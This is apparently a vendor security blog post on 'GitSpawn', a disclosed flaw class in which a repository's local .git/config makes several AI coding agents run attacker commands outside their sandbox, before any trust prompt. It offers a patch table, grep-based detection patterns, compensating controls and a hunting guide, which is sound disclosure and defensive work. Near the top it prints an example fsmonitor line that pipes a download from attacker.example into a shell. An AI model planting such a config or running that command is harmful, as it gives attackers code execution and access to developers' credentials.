GitSpawn: A Malicious Git Config Makes AI Coding Agents Run Attacker Code
GitSpawn: a repo's own .git/config can make Claude Code, Codex, Cursor and other AI coding agents run attacker code outside the sandbox, with no prompt. What to check now.
The interesting part of GitSpawn is where the bug isn't. It isn't a jailbreak, a prompt injection, or a clever piece of adversarial text that talks a model into misbehaving. It is in the boring subprocess an AI coding agent spawns the instant you open a folder — the git status it runs to figure out where it is, before you have approved anything, trusted the workspace, or read a single line of code.
On September 1, 2026, Manifold Security disclosed GitSpawn: eight flaws across seven command-line AI coding agents where a repository's own Git configuration can name a command that the agent runs on your machine — as you, outside the agent's sandbox, with no approval prompt and nothing on screen. The Hacker News covered it the next day, and OpenAI published its own CVEs for Codex the same day. Four of the eight were still unpatched at publication.
"The vulnerability is not in the model, or in anything new. It is in the ordinary plumbing underneath — the subprocess an agent spawns at session startup to work out where it is." — Manifold Security
That framing matters because the entire industry has spent two years hardening the model — refusal training, guardrails, prompt-injection filters — while the agents wrapping those models call out to git with the repository holding the steering wheel.
How GitSpawn turns a git config into code execution
Git has a performance feature called core.fsmonitor. Instead of walking the whole working tree to find changed files, git can delegate that to a helper program you nominate. You set it once and every git status, git diff, or index refresh silently runs your helper to answer "what changed?".
The catch: core.fsmonitor is read from the repository's local .git/config. It is not global, not user-scoped — it travels with the repository. So a repository can ship this line:
[core]
fsmonitor = "/bin/sh -c 'curl https://attacker.example/x | sh'"
An AI coding agent, on startup, runs git status and git diff to build context about your working tree. Git refreshes the index, sees the fsmonitor setting, and executes the attacker's command — with your privileges, before the agent has asked you to trust anything.
core.fsmonitor is the cleanest sink, but not the only one. The same class covers core.hooksPath (point hooks at an attacker-controlled directory) and git's content-filter machinery — filter.<name>.process, clean, and smudge commands that run when git materialises tracked files. Manifold has kept the fully-worked variants private while vendors still ship the unpatched paths. The pattern is identical: a config key whose value is a command, read from a location an untrusted repository controls, fired by a routine operation the agent performs automatically.
This is not a git bug. Git behaves exactly as documented. The bug is that AI coding agents run git against untrusted repositories before the trust decision, and inherit every command-execution sink git exposes. Nor is the class new: "opening a repository executes code" runs from CVE-2014-5023 (Gitlist, shell metacharacters in a branch name) through a decade of IDE-extension RCEs. What GitSpawn adds is an autonomous agent that opens the repository for you, eagerly, before you have looked at it.
Why the AI coding agent sandbox doesn't catch it
Modern coding agents advertise sandboxes: the model's shell commands run in a constrained environment, and destructive actions require your approval. GitSpawn walks around that in two ways.
First, the git call is the agent's own housekeeping, not a model action. The sandbox and the approval prompt gate what the model decides to do. Reading the working tree is what the agent does to feed the model. That subprocess runs in the agent's own context — outside the box that guards model-initiated commands.
Second, it fires before trust exists. The agent gathers context at session start to render the first response. "Do you trust the authors of this workspace?" — the prompt many editors show — is displayed after the agent has already run git status. The attacker's code executed while the dialog was still painting.
The result is the worst property a sandbox can have: it is present, it is advertised, and it does not cover the path an attacker actually takes. A developer who reasons "the agent is sandboxed, so opening a repo to look at it is safe" has drawn exactly the wrong conclusion.
The delivery vector GitSpawn depends on: files, not clones
There is a real constraint that keeps this from being wormable across GitHub, and it is worth understanding precisely because it inverts normal intuition.
git clone, fetch, and pull do not copy a remote repository's local .git/config. Local config is, by design, local. So you cannot poison someone by getting them to clone your repo — the malicious core.fsmonitor line stays on your machine.
The attack works when a repository arrives as files, with its .git directory intact:
- a
.zipor.tar.gza colleague sends you - a project on a shared drive or NAS
- a folder in a Dropbox / OneDrive / Syncthing sync
- a repo handed over on a USB stick
Every one of these preserves .git/config verbatim. And every one is a completely normal way developers share work — "here's the repo, it's zipped in the channel." The vector isn't exotic; it is the way half of all internal project handoffs happen. The counterintuitive lesson: a git clone from a stranger is safer here than a .zip from a colleague.
Who's patched and who isn't
Manifold retested the affected agents on September 1, 2026. The scoreboard, with the CVEs assigned so far:
| Agent | Affected through | Status | CVE |
|---|---|---|---|
| goose | 1.41.0 | Fixed in 1.44.0 | CVE-2026-72718 |
Claude Code (core.fsmonitor) |
2.1.195 | Fixed in 2.1.196 | — |
| Claude Code (second path) | 2.1.252 | Unpatched at retest | — |
| Cursor CLI | tested build | Fixed | — |
| Codex (OpenAI) | 0.130.0 / desktop builds | Fixed in 0.131.0+ | CVE-2026-19592 (+2) |
| Hermes Agent | 0.21.0 | Unpatched (vendor unresponsive) | CVE-2026-71963 |
| Qwen Code | 0.22.3 | Unpatched | — |
| Grok Build | 1.0.13 | Unpatched | — |
Two details are worth flagging. Manifold reported the Claude Code fsmonitor path on June 26 and it was fixed in three days — but a second command-execution path (via a separate review feature) was still live at 2.1.252 on retest, which is why "Claude Code is patched" is only half true. And CVE-2026-71963 was assigned to Hermes Agent only after six unanswered contact attempts — the standard failure mode of coordinated disclosure against a small vendor.
The blast radius is not niche tooling. Manifold notes the affected projects hold over 470,000 GitHub stars combined, with Claude Code alone at over 77 million npm downloads a month. This is not the same team's earlier Cursor CLI finding from August, where the CLI ran untrusted worktree code with the sandbox switched off — GitSpawn is the generalised version of that mistake across the whole category.
Remediation
This is the runbook. It matters because the usual advice — "keep your tools updated" — only closes three of the seven agents.
Am I affected?
You are exposed if you use any CLI coding agent and ever open repositories that arrive as files rather than clones. Check your agent version, and check any repo you received as an archive/drive/USB before opening it:
# Your agent versions
claude --version ; codex --version ; goose --version ; cursor --version
# Inspect a RECEIVED repo BEFORE opening it in any agent.
# Any of these keys carrying a command = do not open it.
git -C /path/to/received/repo config --local --list | \
grep -Ei 'fsmonitor|hookspath|filter\..*\.(process|clean|smudge)|sshcommand|pager|editor'
Read the raw file too — git config --list can itself trigger includes in adversarial setups:
grep -nEi 'fsmonitor|hooksPath|process|clean|smudge|sshCommand' /path/to/received/repo/.git/config
Patch — exact fixed versions
Upgrade to the fixed builds, verbatim from the advisories:
- goose → 1.44.0 or later (CVE-2026-72718)
- Claude Code → 2.1.196+ closes
core.fsmonitor; the second path remained open at 2.1.252, so watch the changelog and update aggressively - Codex → 0.131.0+ / patched desktop builds (CVE-2026-19592)
- Cursor CLI → latest
- Hermes Agent, Qwen Code, Grok Build → no fix at publication. Treat as unsafe against received repositories.
Can't patch now? Compensating controls
- Neutralise the sink globally. Refuse to auto-read repo-local fsmonitor by pinning it in your global config:
This does not stop a repo re-setting it locally, but combined with the next control it shrinks the window.git config --global core.fsmonitor false - Wrap the agent so it never trusts repo-local config. The vendor-side fix is to gather context with
git -c core.fsmonitor=false -c core.hooksPath=/dev/null status. You can front your agent with a shell alias that injects these flags. - Run agents inside a real sandbox, not the advertised one. Launch the agent in an ephemeral container or microVM with no host filesystem mount beyond the project, no ambient cloud credentials, and egress filtered. If the fsmonitor helper fires, it fires against a throwaway with nothing to steal.
- Quarantine received repos. Establish a rule: repositories that arrive as files get their
.gitdeleted and re-initialised (rm -rf .git && git init) before any agent touches them. This strips the weaponised local config entirely.
Hunt for compromise
Map the signals to MITRE ATT&CK and go looking:
- T1546 (Event Triggered Execution) — the core mechanism. Grep every received repo's
.git/configforfsmonitor,hooksPath, andfilter.*.process/clean/smudgecarrying a command value. - T1059 (Command and Scripting Interpreter) — audit child processes of your agent binary (
claude,codex,goose, etc.). Agitprocess whose parent is the agent, spawningsh/curl/bash, right at session start, is the tell. - T1195 (Supply Chain Compromise) — the delivery. Correlate "opened a shared/zipped repo" events with unexpected outbound connections from the workstation in the following seconds.
- T1041 / T1071 (Exfiltration / C2 over web) — first-seen outbound to a never-before-contacted domain or ASN immediately after a dev opened a project is the highest-value signal; the fsmonitor helper's job is usually to phone home or drop a stage.
Eradicate and verify
If you find a weaponised config on a machine that opened the repo: assume code ran as the user. Rotate everything that workstation could reach — SSH keys, cloud CLI tokens (~/.aws, ~/.config/gcloud), npm/PyPI publish tokens, git credentials, and any .env in reachable projects. Then confirm clean after removing the config: re-init the repo's .git, re-scan child-process telemetry for the agent binary, and verify no new persistence (cron, shell rc files, git global hooks) was planted. Patching without rotating leaves the attacker with whatever the first execution already exfiltrated.
What this means for autonomous offensive agents
GitSpawn is a specific instance of a general problem, and it is the problem we build against every day: an AI agent is only as contained as the process it spawns, not the model it runs. The moment an agent shells out — to git, to a scanner, to an exploit — the containment question moves from "did the model refuse?" to "where did that subprocess run, and what could it touch?"
Zero Hunt runs an autonomous offensive engine: a 10-agent swarm that does reconnaissance, writes per-target exploit code with a local LLM, and executes it against real targets. That is precisely the shape of software GitSpawn punishes — an agent spawning untrusted, adversary-adjacent subprocesses continuously. So the execution model was designed around exactly this failure: every exploit and every tool invocation runs inside an ephemeral Docker container, with optional gVisor syscall hardening, and the appliance host OS is hardened so that attacks — or a hijacked helper — never touch it. The container is destroyed after the run. There is no shared, long-lived context for a poisoned config to reach a credential in.
The second half is provenance. Before any new offensive skill runs in production, it is backtested in the AI Gym against Vulhub, NYU CTF Bench, and a 314-CVE black-box corpus — so a behaviour that spawns an unexpected subprocess is caught in a sealed environment, not on a customer's network. And every action the swarm takes is ECDSA-signed at write time, so the audit trail can answer "what did the agent run, exactly?" — the question every GitSpawn victim is now asking their own coding assistant and cannot answer.
The lesson generalises past our appliance. If you are deploying agents that touch untrusted input — and a repository someone sent you is untrusted input — the sandbox is not a checkbox on the model. It is the boundary around every process the agent spawns. GitSpawn found seven teams that drew that boundary in the wrong place. The remediation above closes it; the architecture is what keeps it closed.